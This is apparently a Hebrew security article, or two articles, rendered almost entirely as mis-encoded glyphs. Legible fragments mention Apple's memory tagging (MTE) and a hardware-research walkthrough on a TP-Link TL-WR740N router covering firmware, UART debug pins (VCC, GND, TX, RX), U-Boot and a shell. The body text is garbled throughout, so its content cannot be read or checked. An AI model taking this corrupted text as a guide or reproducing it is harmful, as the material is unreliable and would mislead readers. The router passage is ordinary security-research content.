˫˧˷ˣˬ˧ˬˢ ˪˷ a¢9  π˟!ǇǇƭŜ ˟xπDƻƻƎƭŜ tƛȄŜƭ  ˫˧ˠ˴˧˧ˬ   ˧ ˸˷  ˸ˣ˯˧˲˸ ˸ˣˮˣ˷ ˪˷ ˢ˸ˣ˞  ˢ˧ˠˣ˪ˣˮ˩˦  Φˢ˷˧ˠˢ  ˪ ˷  

!ǇǇƭŜ  ˢ˲˧˵ˬ  ,˶˸ˣ˧  aL9   ˪ ˧˰˲  ˡ˧ˬ˸  Σ˷ˬ˸˷ˬ  ˢ˵˧ˡ˟˟  ˸˧ˮˣ˶˩ˮ˧˯  ˪˪ˣ˩ˣ  ˫ˠ  ˸˞  9a¢9  ˸˞ˣ  ¢ŀƎ 

/ƻƴŦƛŘŜƴǘƛŀƭƛǘȅ 9ƴŦƻǊŎŜƳŜƴǘ,  ˨˞  ˢˮ˧ˬˤ  ˵˶  ˶ˣˡ˟  ˢ˶ˬˣ˥ˢ  ˷ˡ˥ˢ  ˶˸ˣ˧˟  Φˡˠˮˬ  ΣDƻƻƎƭŜ  ˢ˯˶˲  ˸˞  a¢9  

 ˫ ˡ˵ˣˬ ˶˸ˣ˧  ˪˰ˣ  ˭ ˣˣˠˬ  ˟ ˥˶ ˶˸ˣ˧ ˪˷ ˫˧˶˧˷˩ˬ  Σ˨˞  ˢ˶˥˟  ˪ˡˣˬ˟  ˢ˲˧˩˞  ˧ ˮ˶ˬ˷ ˶˸ˣ˧ Φ 

˸ˡˣ˵ˮˬ ˦˟ˬ  ˸ ˧˶˵˥ˬ Σ˪ˡ˟ˢˢ ˧˸ˣ˰ˬ˷ˬ  ˱ ˞ ˶˸ˣ˧  Φπ˟tƛȄŜƭ  Σ ˷ ˣˬ˧˷ˢ ˟πa¢9  ˞ ˣˢ ƻǇǘπƛƴ ˶ˣ˟˰ ˪˩   s ˧˴˵˧˪˲˞  

ύx˞  ˪˰˲ˣˬ   ˸ ˶ˠ˯ˬ˟  !ŘǾŀƴŎŜŘ tǊƻǘŜŎǘƛƻƴ  Σό˞ˣˢˣ  ˪ˣ˩˧  ˪ˣ˰˲˪   ˫ ˠ   ˟ ˴ˬ˟  ˞˧ˮˣ˶˩ˮ˧˯  Φ˟˴ˬ˟  ˢˤ  Σ ˶ ˯ˣ˥   s ˬ˞˸ˢ  

˭˧˟  ˫ ˧ˠ˸  ˪ ˧˟ˣˬ ˪π{LD{9D± ˢ˯˧ˮ˩˟ ˢ˞˟ˢ ˪ˮ˶˵˪ Σ˧˪˟ˬ  ˸˟ˣ˸˩˷ ˢ˞˶ˣˢˢ ˢˬ˶ˠ˷   ˪ ˷˩˪  ˶ˬ˷˧˸ Φ 

 ˸ ˬˣ˰˪   ˸ ˞ˤ  Σπ˟!ǇǇƭŜ  Σ ˭ ˣˮˠˮˬ  aL9  ˪˰ˣ˲  ˡ˧ˬ˸  Σ ˭ ˲ˣ˞˟  ˧ˮˣ˶˩ˮ˧˯  Σ˭ˢ  ˪ˮ˶˵˟   ˭ ˢˣ   ˶ ˸ˣ˧˟  πˬтл  ˧˩˧˪ˢ˸  ǳǎŜǊ ǎǇŀŎŜ  Σ

˨˩  ˪˩˷  ¢ŀƎ /ƘŜŎƪ Cŀǳƭǘ˶˷ˣ˵ˬ  ˵˧ˣˡˬ˟  ˸˞˶ˣˢ˪  πsƭƻŀŘ   x ˞  πsǎǘƻǊŜ  ˢˬ˶ˠ˷  ˣ˪  Φ˱˯ˣˮ˟  Σ¢ŀƎ /ƻƴŦƛŘŜƴǘƛŀƭƛǘȅ 

9ƴŦƻǊŎŜƳŜƴǘ  ˫˯ˣ˥  ˫ˠ  ˸ˣ˲˵˸ˬ  {ƛŘŜ /ƘŀƴƴŜƭ  ˸ˣ˧˟˧˦˪ˣ˵˲˯  Σ˭ˣˠ˩  ¢ƛƪ¢ŀƎ  Σ˸ˣ˪ˣ˩˧ˢ  ˱ˣ˷˥˪  ˫˧ˠ˸   ˷ ˣˬ˧ˬ˟  

˪˷  tƛȄŜƭ Φ 

ˢ˪˞˷ˢ  ˸˧˸˧ˬ˞ˢ  ˞˧ˢ   x ˤ˧˞˟  ˸ˣ˶˧ˢˬ  ˣ˴ˬ˞˧  ˧˥˸˲ˬ  ˸ˣ˧˴˵˧˪˲˞  ˡ˴  ˧˷˧˪˷  ˸˞  a¢9  Φˢ˧ˠˣ˪ˣˮ˩˦ˢ   ˸ ˪ˠˣ˯ˬ  

˱ˣ˷˥˪  ˸ˣ˧ˣ˰˧ˠ˲  ƳŜƳƻǊȅ ǎŀŦŜǘȅ  ˸ˣˬˣˡ˶  ˪˩˟  ˡˣ˵  /κ/ҌҌ  Σ˭˩˪ˣ  ˭˩˸˧˧  ˸ˣ˧˴˵˧˪˲˞˷  ˸ˣˬ˧ˣ˯ˬ  ˣ˪˧˥˸˧   ˯ ˣ˶˵˪  

 ˶ ˥˞˪  ,ˢ˸˪˰˲ˢ  ˞˪  ˫ˣ˷ˬ  ˣ˶˴ˣˮ˷  ˫˧ˠ˞˟  ˫˧˷ˡ˥  Σ˞˪˞   ˫ ˣ˷ˬ  ˫˧ˠ˞˟˷  ˣ˧ˢ˷  ˫˧ˬ˧˧˵  ˨˶ˣ˞˪  ˪˩  ˨˶ˡˢ  ˣ˩˲ˢ   ˱ ˣ˯  

˱ˣ˯  ˫˧˧ˣ˪ˠ˪ Φ ˪ ˩ ˢ˯˧˶˵ ˣˤ˩ ˞˧ˢ ˠ˞˟ ˭˸˧ˮ˷  ˸ˣˢˤ˪  ˭˵˸˪ˣ Φ 
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 ˫ ˣ˩˧˯ 

a¢9  ˢ˷ˣ˰   s ˟˶ˢ  ˶˸ˣ˧  ˶˷˞ˬ  ˫˴ˬ˴˪  ˸˞   ˸ ˪ˣ˩˧   ˪ ˣ˴˧ˮˢ   ˪ ˷  ˸ˣ˧ˣ˰˧ˠ˲  Φ˞ˣˢ  ˷ˬ˷ˬ  ˲ˣ˵˯ˣ˶˵˧ˬ˩   ˱ ˷ˣ˥ˢ  

ˢ˵˪˥ˬ  ˢˬ˪˷  ˪˷  ˫˧ˠ˞˟   ˸ ˪˧ˢ˵˪˷ ˢ˥˦˟˞ˢ ˦ˣ˷˲  ˞˪  x ˧ˢ ˫˧˪˩ˢ  ˸ˣ˞˶˪  ˡ˰ ˫ˣ˧ˢ Φ 

˪˩˩  ˢ˶ˬˣ˥˷  ˸˩ˬˣ˸ˢ  π˟a¢9  ˨ˣ˲ˢ˸  ˢ˴ˣ˲ˮ˪  ˶˸ˣ˧  Σ x ˮ˞  ˫˧˲˴ˬ  ˢ˧˧˪˰˪  ˸˧ˮˬˤ  ˶˲˯ˬ˟  ˸ˣ˧ˣ˰˧ˠ˲   ˪ ˮ˶˵ˢ  

ˣ˪ˠ˸˧˷  Φ˞˪  ˫ˣ˷ˬ  ˢˮ˩ˣ˸ˢ˷  ˸˩˲ˣˢ  ˸ˣ˥˲˪  ˢ˥ˣ˦˟  Σ ˞ ˪˞  ˫ˣ˷ˬ  ˢˮˣ˷˞˶˪˷   ˭ ˸˧ˮ   ˸ ˣ˞˶˪  ˸˞   s ˬ  ˢ˧ˢ˷   ˫ ˷  

ˤ˞ˬ ˡ˧ˬ˸ˬˣΦ 

ˢ˶˵ˬˢ  ,ˣˮˠ˴ˢ˷  ˸ˣ˰˧ˠ˲  ǳǎŜπŀŦǘŜǊπŦǊŜŜ  ˢˬ˶ˠˮ˷  ˢ˞˴ˣ˸˩  ˟˴ˬˬ  ˳ˣ˶˧ˬ  ˸˸˟˸˩˶˰ˬ  ˪ˮ˶˵  ˸˯ˣˬ˰  ˢ˶ˣ˟˰˸  Σ

ˢ˲˷˥ˮˣ  ˵ ˶ ˸ˣ˩ˤ˟ ˭ˣˮˠˮˬ sπ¢ŀƎ /ƘŜŎƪ ˧ˮˣ˶˩ˮ˧˯ˢ   ˪ ˷ aL9  , ˞ˣˢ ˪˩˩ ˢ˞˶ˮˢ ˵˶ ˢˬˠˣˡ  ˸˥˞ ˨ˣ˸ˬ  ˸ˣ˟˶Φ 

 ˭ ˟ˣˬ˟  ˫˧ˣ˯ˬ  Σ ˪ ˩  ƛtƘƻƴŜ мт  ˞˴ˬˮ˷  ˫ˣ˧˩   ˥ ˦˷˟  ˳˧˶ˬ  ˭˲ˣ˞˟  ˱˧˴˶  ŦǳȊȊŜǊ   ˪ ˷  ƳŜƳƻǊȅ ǎŀŦŜǘȅ   ˸ ˬ˶˟  

ˢ˶ˬˣ˥ˢ  ˡˠˮ˩  ˪ˮ˶˵  ƛh{  Φ˫˧ˠ˞˟ˢ  ˞ˣˢ˷  ˱˷ˣ˥  ˣ˧ˢ  ˫˧ˬ˧˧˵  ˨˶ˣ˞˪  ˪˩  ˨˶ˡˢ  Φ˸˰˩  Σ˫ˢ˷ˬ  ˫˧ˮ˸˧ˮ  ˧ˣˢ˧ˤ˪  Σ˭˸˧ˮ  

˫ˠ  ˭ ˵˸˪ ˫˸ˣ˞  , ˸˩˶˰ˬˢˣ ˸˧ˠˣ˪ˣ˵˞ˢ ˢ˪ˣ˩  ˸ ˞˴ˣ˧ ˸˶˩˷ˮ Φ 

 ˶ ˣ˟˰  ˧ˬ  ˢ˪˟ˬ˷  ˸˞  ˣ˧ˬ˧  ˥ˣ˸˧ˮ˟  ˧ˠˣ˪  ƪŜǊƴŜƭ ǇŀƴƛŎ  Σa¢9  ˢˮ˧˷  ˦˵˷˟  ˸˞  ˧˲ˣ˞  ˢˡˣ˟˰ˢ  Φ¢ŀƎ /ƘŜŎƪ Cŀǳƭǘ  

ˣˮ˧˞ ˵˶  ˢ˧˴˵˧ˡˮ˧˞  ˨ ˩˪ ˭ˣˮˠˮˬ˷ ˢˮˠˢˢ ˡ˟˰  ˧ ˲˩ ˭ˮ˩ˣ˸˷ , ˞ˣˢ ˫ˠ ˸ˡˣ˵ˮ ˢ˥˧˸˲ˢ   ˸ ˶˧˵˥˪ ˸ˣ˰˧ˠ˲ˢ ˢ˞˟ˢΦ 

 

˪˰  ˶ ˟˥ˬˢ 

˶˧ˮ ˫ˢ˶˟˞ Σ±t wŜǎŜŀǊŎƘΣ WŀƳŦΦ 

˭˧˞ˡ˵ˮ˧˪ ΥфрōфсōосπŀǾǊŀƘŀƳπƘǘǘǇǎΥκκǿǿǿΦƭƛƴƪŜŘƛƴΦŎƻƳκƛƴκƴƛǊ 

Iǳ YŜ Σ{ŜŎǳǊƛǘȅ wŜǎŜŀǊŎƘŜǊ ΣWŀƳŦ 

 ˧ ˮˣ˴˶˟ ˸ˣˡˣˢ˪  ˧˶˟˥˪ ˶˵˧ˢ Iǳ Σ ˶ ˤ˰˷ ˨˶ˣ˞˪ ˨˶ˡˢ ˫˶˸ˣ ˸ˣ˟˶  ˫˧˶˵˥ˬ˪   ˫ ˸ˣ˞ ˣˮ˰˴˧˟   ˨ ˶ˣ˞˪ ˫˧ˮ˷ˢ Φ 

 ˫ ˠ˶ˣ˸ ˨˶˰ˮˣ  ˪˰  ˧ˡ˧ ΥL[пbмл¦{ 
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    Υ   ¢tπ[ƛƴƪ ²wтплbΣ  CƛǊƳǿŀǊŜ       
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 ˟˸ˮ ˪˷ ˵˧ˬ˰ˬ ˥ˣ˸˧ˮ :˥˩˷ˮ˷ ˟˸ˮˢTP-Link 

WR740N ˳ˣ˪˧˥ˬ ,Firmware   ˸˷˪ˣ˥ ˧ˣ˪˧ˠ ˡ˰ˣ

 s ˷ˡ˥ ˢ˥˦˟˞ 

˸˞ˬ  ˭ ˣ˞˧˷ ˭˸ˮˣˢ˧ 

 

 s ˬˡ˵ˢ 

˪˩˟   ˸ ˧˟  ˪˩˟ˣ   l ˶˷ˬ  ˷˧  ˢ˯˲ˣ˵  ˢˮ˦˵  ˸˟ˢ˟ˢˬ˷  ˶ˣ˞˟  ˵ˣ˶˧   ˦ ˵˷˟  Σ˟˸ˮˢ  Φ˧ˬ   ˦ ˪ˣ˷˷  ˢ˟   ˦ ˪ˣ˷  

˪˩˟ ˢˬ  ˫˶ˣˤ˷  ˢ˩˶ˡ Σˢ˟˶ˢˣ  ˸˥˸ˬ ˶˞ˡ˶˪ Σ˧˩ ˧˦ˮ˞ˢ π ˯ ˣ˶˧ˣ ˳˶   ˪ ˰  ˟ ˷˥ˬˢ ˫˩˪˷  Σ ˞ ˪ ˪˰  ˟˸ˮˢ Φ

 ˫ ˧ˮ˧˧˲ˬ˵  ˢˬ˶˟   ˸ ˧˸ˮ˧ˡˬ  ˶˟˩   x ˩˲ˢ  ˫˧˟˸ˮ   ˫ ˧˧˸˧˟   ˸ ˣˡˬ˰˪  ˪ˣˠ˧˶  Φ ˪ ˷ˬ˪  VPNFilter  Σ ˯ ˥ˣ˧˷  

 ˸ ˴ˣ˟˵˪  ˢ˲˧˵˸   ˪ ˷  ˭˧˰˧ˡˣˬˢ   ˧ ˞˟˴ˢ   ˧ ˯ˣ˶ˢ   ˵ ˧˟ˡˢˣ   ˶ ˸ˣ˧  ˧˴˥ˬ   ˭ ˣ˧˪˧ˬ  ˫˧˶˧˷˩ˬ  ΣπxCherry Blossom  

˪˷  πsCIA  Σ˱˷˥ˮ˷  ˸˲˧˪ˡ˟  Vault 7  Φ ˧ ˬ  ˶ˣ˲˧˯ˢ˷  ˢˤˢ  ˭˶˵˯ˬ  ˣ˸ˣ˞  ˭ˬˤˣˬ  ˪ˣ˪˴˪Υ ˥ˣ˸˧ˮˢ ˪˷ 

Cisco Talos π˪VPNFilter  Σˣ˧˩ˬ˯ˬ Cherry Blossom  ˟πWikiLeaks Vault 7Σ  ˶ˣ˷˧˵  ˫˧˶ˬ˞ˬ˪   ˱ ˣ˯˟  

˶ˬ˞ˬˢΦ 

 ˪ ˟˞   ˶ ˬ˞ˬˢ  ˢˤˢ  ˞˪  ˵˯ˣ˰  ˫ˢ˟  Φ˶ˬ˞ˬˢ  ˞ˣˢ  ˧˷˰ˬ  Σ˪˰  ˟˸ˮ  TP-Link TL-WR740N  ˧˸ˣ˪˰˟˟  Σ

˧˸˷˩˶˷  ˨˶ˡ  ˶˸˞  ˡ˧  н  ˸ˣ˶˦ˬ˪  ˡˣˬ˧˪  ˶˵˥ˬˣ  ˡ˟˪˟  Φ ˰ ˴˟˪ ˭˸˧ˮ ˡ˴˧˩ ˠ˧˴˞ ˶ˬ˞ˬˢ ˨˶ˣ˞˪  

˸ˣˬ˥˪ˢ ΣUART Σ˳ˣ˪˧˥ˣ Firmware ˸ˣ˶˧˷˧ ˟˟˷ˬ .˭ˣ˶˩˧ˤˢ  ˨˧˷ˬ˞  ˪˞ ˵ˣ˶˧˲ ˥ˣ˸˧ˮˣ s-Firmware  Σ

 ˫ ˧˧˯˞ˣ  ˟˸ˮˢ˷˩  ˣ˪ˣ˩  ˳˶  ˢˮ˩ˣ˸˩   ˪ ˰   ˟ ˷˥ˬˢ  Σ˧˪˟   s ˶ˬˣ˥   ˸ ˶˟ˣ˥ˬ  ˪˪˩˟  Φ˭˩ˣ  Σ ˨ ˶ˡ˟  ˣ˲˶˷ˮ   s ˬ˩  

˸ˣ˥ˣ˪Φ  ˶ˣ˟˧ˠˢ   x ˮ˪˷  ˰˯ˬ˪  ˢˤˢ  ˞ˣˢ TP-Link TL-WR740N Σ˟˸ˮ  ˧˸˧˟  ˳ˣ˲ˮ  Σ ˪ ˣˤ  Σ˭˷ˣ˧ˬˣ  ˵˧˲˯ˬ   ˧ ˡ˩  

˞˴ˬˮ˷  ˣ˟  ˦˰ˬ˩  ˪˩ˢ  Φ˧ˮ˲˪  ˫˧˥˸ˣ˲˷  ˸˞  ˢ˯˩ˬˢ  Σ˦˟ˬ  ˶˧ˢˬ  ˪˰  ˟ˠˢ  Υ˫ˠˡ  Σ˸˯˶ˠ   s ˶ˬˣ˥  Σ ˶ ˲˯ˬ  

˧˶ˣˡ˧˯ Φ 
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˸˥˞  ˧˸˷ˬ  ˸ˣ˸˪ˡ  ˢ˯˧ˮ˩ˢ  ˞˧ˢ  ˢ˶ˬˣ˥ˢ  Σˢ˷˞˶˟ˣ  πsUART  ύ˸ˣ˟˧˸ ˧˷˞˶  ˪˷  Universal 

Asynchronous Receiver-Transmitter  Φόˣˢˤ   ˪ ˣ˵ˣ˦ˣ˶˲  ˸˶ˣ˷˵˸   ˧ ˶ˣ˦  ˵˧˸ˣ  ˦ˣ˷˲ˣ  Σ ˫ ˧˯ˡˮˢˬ˷  

˫˧˷ˬ˸˷ˬ  ˣ˟   ˧ ˡ˩  ˪˟˵˪  ˦˪˲  Debug  ˶˧˷˩ˬˢˬ  Σ˫˧˸˧˰˪ˣ  ˱˞  ˢ˪ˣ˯ˮˣ˵  ˸˧˟˧˦˵˞˶˦ˮ˧˞   s ˞˪ˬ  Φ

˫˧˪˧ˬ˟  ˸ˣ˶˥˞  Υ˫˞  ˥˧˪˴ˮ  ˶˟˥˸ˢ˪  π˪UART  Σ˷˧  ˧ˣ˩˧˯  ˟ˣ˦  ˢ˞˶ˮ˷  ˸˞  ˸ˣ˰ˡˣˢ  ˪ˣ˥˸˞ˢ   ˪ ˷  

˸˩˶˰ˬ ˢ˪˰˲ˢˢ  ˢ˴˶˷   ˪ ˰ ˟˸ˮˢ Σ ˫ ˞ˣ ˪ˤˬ˸˧  x ˮ˪ˤˬ   ˫ ˠ ˪˟˵ˮ shellΦ 

Ϧ˟˸ˮ  Ϧ˞˧ˢ  ˢ˪˧ˬ  ˢ˰˦ˬ  Φ˞˧ˢ  ˸˰ˬ˷ˮ  ˣˬ˩  ˟˧˩˶  ˧˟˧˯˲  ˱˥ˣˡ˷  ˸ˣ˪˧˟˥  ˡ˴ˬ  ˡ˴˪  Σ˪˟˞  ˫˧ˮ˲˟ˬ   ˟ ˸ˮ 

˧˸˧˟  ˧˯ˣ˲˧˦  ˞ˣˢ  ˟˷˥ˬ  ˯˵ˣˮ˧˪  ˞˪ˬ  ˪˩˪  ˶˟ˡ  Υˡ˟˰ˬ  Σ˭ˣ˶˩˧ˤ  Σ˭ˣ˯˥˞  ˰ˣ˟˵  Σ˸˩˶˰ˬ  ˢ˪˰˲ˢ   ˸ ˶˷ˣ  

Web   ˪ ˢˮˬ˷   ˸ ˞   ˪ ˣ˩ˢ  π  ˦ˣ˷˲  ˧˪˟  ˨˯ˬ  ˧˪˟ˣ  ˸ˡ˪˵ˬ  Φ ˫ ˞  ˥˸˲ˮ   ˸ ˞  ˢ˯˩ˬˢ  Σ˞˴ˬˮ   ˦ ˰ˬ˩  ˪˩˟   ˫ ˠˡ  

˸˞ ˫˸ˣ˞  ˫ ˧˟˧˩˶ ˫˧˶ˤˣ˥ Υ 

1Φ sπSystem on Chip  Υ˥ˣˬˢ  Φ˟˟˷  ˡ˥˞  ˯˥ˣˡ˷  ˣ˩ˣ˸˪   ˸ ˞  ˡ˟˰ˬˢ  ˸˞ˣ  ˧˟˧˩˶  ˸˶ˣ˷˵˸ˢ  

˫˧˧ˤ˩˶ˬˢ ˟˸ˮ˟ Φ 

2Φ ˭ˣ˶˩˧ˤ  Flash  Υ˭˞˩  ˸˟˷ˣ˧  -sFirmware  Σ˸˩˶˰ˬ  ˢ˪˰˲ˢˢ  Σ˫˧˴˟˵ˢ  Σ˪˩ˣ  ˢˬ  ˡ˶ˣ˷˷   ˧ ˣ˟˧˩  Φ

˫˧ˬˠˡ˟  ˫ ˧˪ˣˤ ˶˟ˣˡˬ  ˟ ˟˷˟ SPI-NOR  ˭˦ˮ˦˵ ˪˷  п x˞ у ˢˠˬπ˦˧˧˟ ˡ˟˪˟Φ 

3Φ ˭ˣ˶˩˧ˤ  RAM Υ˭ˣ˶˩˧ˤ  ˢˡˣ˟˰ ˱˧ˡˮ  x ˧˪˞˷ ˸ˮ˰˦ˮ ˸˩˶˰ˬˢ  ˭ˬˤ˟ ˢ˴˧˶Φ 

4Φ ˧˵˷ˬˬ  ˠˣ˟˧ˡ  Υ˵˪˥ˢ  ˭˧˧ˮ˰ˬ˷  ˣˮ˸ˣ˞  Φ˭˶˴˧ˢ  ˦˰ˬ˩  ˡ˧ˬ˸  ˶˧˞˷ˬ  ˪˰  ˥ˣ˪ˢ  ˸ˣˡˣ˵ˮ   s ˷˧ˠ 

˥ˣ˸˧˲ˢˬ  Σ˭˷˞˶˟ˣ  ˵˷ˬˬ  ˧˶ˣ˦  ˫˷˟  UART  Φ˞ˣˢ  ˞˪   l ˰ˣ˧ˬ  ˷ˬ˸˷ˬ˪  ˢ˴˵ˢ  Σ˪˟˞  ˞ˣˢ  ˫˷  Σ

˸˧ˤ˧˲  Σˢ˩˥ˬˣΦ 

 ˪ ˰  ˪ ˩  ˪ ˤ˶˟ˢ ˢˤˢ  ˳ ˶ ˯˵ˣˮ˧˪  ˰ˬ˦ˣˬ  ύembedded Linux  Σό˞˪ ˫˰˲  ˸ ˶ˤˠˮ ˪˷  OpenWrt  ˣ˞  s ˴˲ˢ  

 ˸ ˧ˮ˧˧ˮ˵  ˪˷  ˭˶˴˧ˢ  Φ-sFirmware  ˢˬ˴˰  ˢˮ˧˞  ˳˟ˣ˵  ˧˦˧˪ˣˮˣˬ  ˡ˥˞   ˞ ˪˞   s ˪˧˟˥   ˸ ˟˩˶ˣˬ  Υbootloader  

ύ˟ˣ˶˪  U-Boot  ό˳˧˶ˬ˷  ˸˞  ˪ˣ˩ˢ  ˪ˣ˥˸˞˟  Σπskernel  ˪˷  ˯˵ˣˮ˧˪  Σ˸˩˶˰ˬ  ˫˧˴˟˵   s ˪˧˩ˬ˷  ˸˞   ˪ ˩  

˫˧˶˞ˮ˧˟ˢ  ˫˧˦˲˧˶˵˯ˢˣ  Φ ˰ ˠ˶˟  ˰ˡˮ˷  ˵˶˲˪  ˸˞  ˢ˪˧˟˥ˢ   x ˤˢ  Σ˪˩ˣˮ  ˞ˣ˶˵˪  ˪˩  ˸˶ˣ˷  ˡˣ˵  ˢ˴˶˷   ˪ ˰  

˶˧˷˩ˬˢΦ 

˭˞˩ˬ  ˸ˣ˶ˤˠˮ  ˧˸˷  ˸ˣ˸˪ˡ  ˢ˯˧ˮ˩ˢ  ˸ˣ˪ˣˡˠˢ  Σ˭ˢ˧˸˷ˣ  ˣˣ˪˧  ˣˮ˸ˣ˞  ˨˶ˣ˞˪   ˶ ˬ˞ˬˢ  Υ˸˪ˡˢ   s ˮˣ˷˞˶ˢ  Σ

˸˷˶ˢ  Σ˱˵ˣ˸ˢ ˟˷ˣ˧  ˵ˣ˥˶ˬ  ˥ ˪ˣ˷ˣ   ˸ ˣ˷˵˟  ˸˶˷˪  πsWeb ˪˷  ˟˸ˮˢ Σ˷˲˥ˬˣ  ˢ˷˪ˣ˥  ˸˧˸ˮ˩ˣ˸  Φ x ˤ  

˸˪ˡˢ  ϥsˢ˧˧˵ˮ  Φϥ˸˪ˡˢ  ˢ˧˧ˮ˷ˢ  Σˢ˶ˬˣ˥ˢ  Σ˫˧˥˵ˣ˪  ˠ˶˟ˬ  Σ˫˧˥˸ˣ˲  ˸˞  ˢ˯˲ˣ˵ˢ  Σ˫˧˶˟˥˸ˬˣ   ˸ ˧ˤ˧˲  

˪˞ ˡ˟˰ˬˢ   ˨ ˶ˡ  ˵ ˷ˬˬ ˠ˞˟˧ˡˢ Φˣˮ˪˷ ˢ˪˥˸ˢˢ ˸ˡˣ˵ˮ ˵ˣ˧ˡ˟ ˣˤˣ Φ 
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˵˷ˬˬ s-UART Σ˵˷ˬˬˢ  ˡ˟ˣ˰  ˸ ˣ˰˴ˬ˞˟ ˢ˰˟˶˞   ˫ ˧ˣˣ˵ Υ 

¶ VCC ς  ˥ ˸ˬ ύ ˟ ˣ˶˪ оΦоV ό 

¶ GND ς ˢ˵˶˞ˢ 

¶ TX  ς  ˶ ˣˡ˧˷ ύ˟˸ˮˢ ˶ˡ˷ˬ ˰ˡ˧ˬ ό 

¶ RX  ς ˢ˦˧˪˵ ύ˟˸ˮˢ ˪˟˵ˬ ˰ˡ˧ˬ ό 

 ˟ ˣ˶˟  ˫˧˶˵ˬˢ  Σ ˭ ˶˴˧  ˟˸ˮˢ   ˶ ˧˞˷ˬ   ˪ ˰  ˧˟ˠ  ˥ˣ˪   ˪ ˠ˰ˬˢ   ύPCB  ό˸˞  ˰˟˶˞  ˸ˣˡˣ˵ˮ  ˶ˣ˟˧˥ˢ   x ˪˪ˢ  Φ

˫˧˸˧˰˪  ˭ˢ  ˸ˣ˰˧˲ˣˬ  ˸˶ˣ˷˩  ˫˧ˮ˧˲  ˫˰  ˪˪˥  Σ ˫ ˧˸˧˰˪ˣ  ˸ˣˡ˧˲˶˩  ˸ˣ˲ˣ˷˥  Φ ˶ ˠ˸˞ˢ   ˭ ˣ˷˞˶ˢ   ˨ ˧˪ˢ˸˟  

˶˵˥ˬˢ  ˞ˣˢ  ˶˸˞˪  ˸˞  ˸ˣˡˣ˵ˮ   ˶ ˣ˟˧˥ˢ  ˣ˪˪ˢ  ˸ˣˢˤ˪ˣ  ˸˞  ˣˡ˧˵˲˸  ˪˷  ˪˩  ˣ˵  Φ˧˸˥˸˲  ˸˞  ˟˸ˮˢ 

 ˧ ˸˞˴ˬˣ  ˥ ˣ˪˟  ˸ ˶ˣ˷  ˸ ˣˡˣ˵ˮ ˸ˣ˲ˣ˷˥ Σ l ˬ˰ˣˬ ˭˧ˣ˴ˬ  π˪UART  Φ ˪ ˟˞ ϥˡˬ˰ˣˬ ϥ x ˮ˧˞ ϥ˧˞ˡˣ  Σϥ ˨ ˧˶˴ˣ ˸ˬ˞˪  Φ

˨˩  ˢ˞˶ˮ  ˥ˣ˪ˢ  ˧ˮ˲˪   ˧ ˸˰ˠˮ˷  ˣ˟  Σ ˭ ˸˧ˮ  ˸ˣ˞˶˪  ˸˞  ˸˰˟˶˞  ˫˧ˮ˧˲ˢ   ˪ ˷  ˵˷ˬˬ   s-UART  ˡ˴˟   ˪ ˞ˬ˷  

ˢ˦ˬ˪ Υ 

 

 

˧ˮ˲˪  ˫˧˶˟˥ˬ˷  ˫˞˸ˬ  UART  Σ˷˧  ˸ˣˢˤ˪  ˸˞  ˣˡ˧˵˲˸  ˪˷  ˪˩  ˭˧˲  Φ˨˶ˣ˴˪   ˨ ˩  ˧˸˷ˬ˸˷ˢ   ˶ ˦ˬ˧˦˪ˣˬ˟  

 ˧ ˸˰˴˧˟ˣ  ˸ˣˡ˧ˡˬ   s ˡˣ˵ˮ   s ˡˣ˵ˮ   ˪ ˰  ˧˟ˠ  ˥ˣ˪ˢ  Φ ˸ ˞   x ˵  VCC  ˭˸˧ˮ   ˸ ˣˢˤ˪   ˸ ˣ˰˴ˬ˞˟   ˸ ˡ˧ˡˬ  ˥˸ˬ   ˰ ˣ˟˵  

˪˷ ˩оΦоV  Σ˨˩˟ˣ  ˫ˠ  ˞ˡˣˣ˪  ˵˷ˬˬˢ˷  ˭ ˩˞ ˪˰ˣ˲  ˸ˬ˶˟  ˢ˵˧ˠˣ˪ ˪˷ оΦо ˦˪ˣˣ  Φ 

˸˞   x ˵  GND   ˫ ˧˶˸˞ˬ  ˸ˣ˰˴ˬ˞˟   ˟ ˴ˬ  ˸˵˧ˡ˟  ˸ˣ˲˧˴˶  ύContinuity  Σό˪ˣˬ   ˸ ˡˣ˵ˮ   s ˵˶˞ˢ  ˢ˰ˣˡ˧  ˥ˣ˪˟  Φ

 ˶ ˥˞˪ ˧ˣˢ˧ˤ  ˧ ˮ˷  ˫ ˧ˣˣ˵ˢ ˣ˪˪ˢ Σ ˫ ˧˶˸ˣˮ ˧ˮ˷ ˫˧ˮ˧˲ˢ ˫˧ˮˣ˶˥˞ˢ  ς TX xπRXΦ 
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˟˪˷˟ ˢˤ ˧˸˪˵˸ˮ ˞˴ˬˬ˟ ˠ˧˶˥ Σ ˧ ˮ˷ ˫˧ˣˣ˵ˢ ˣˡˡˬˮ ˟˴ˬ˟  ˧ˠˣ˪ л  ˭ ˲ˣ˞˟ ˰ˣ˟˵ Φ ˟ ˴ˬ˟ ˭˧˵˸ Σˣ˵ s-TX  

 ˶ ˣˬ˞  ˸ˣˮ˷˪  ˸˞   x ˩˶˰  ˸˰˟  ˸˵˪ˡˢ  ˶˧˷˩ˬˢ  Σ˭˩˪ˣ  ˢˡ˧ˡˬˢ  ˢ˸˧˧ˢ   ˭ ˬ˧˯   ˶ ˣ˶˟   ˨ ˩˪  ˸ˬ˧˧˵˷   s ˧˰˟  

ˢ˶ˬˣ˥˟ Φ˶˥˞˪  ˢ˵˧ˡ˟ ˢ˵˧ˬ˰ˬ ˪˷ ˧˪ˣ˪˯ˬ ˪ˠ˰ˬˢ Σ˶˶˟˸ˢ  ˧˩ x˵  s-TX ˪˪˩ ˣˮ˧˞ ˶˟ˣ˥ˬ  ˸ ˧˪ˬ˷˥  

˟˟˷˪   ˧ ˷˞˶ˢ  Σ ˭ ˩˪ˣ  ˵˷ˬˬ   sπUART   x ˮ˧˞   ˪ ˧˰˲  ˪˰ˣ˲˟  Φˢ˰˲ˣ˸  ˣˤ   ˞ ˪  ˢ˸˧˧ˢ   ˸ ˧ˡˣ˥˧˧  ˟˸ˮ˪  ˡ˥˞  Φ ˧ ˮ˷˟  

˫˧˟˸ˮˢ   ˧ ˸˶˵˥˷  ˷˶ˡˮ  ˰˴˟˪   ˭ ˣ˵˧˸  ˢ˶ˬˣ˥  ˪˰  ˸ˮˬ  ˟˧˷ˢ˪  ˸˞  ˵˷ˬˬ  πsUART  ˢ˪ˣ˰˲˪  Φ ˧ ˮ˷˟  

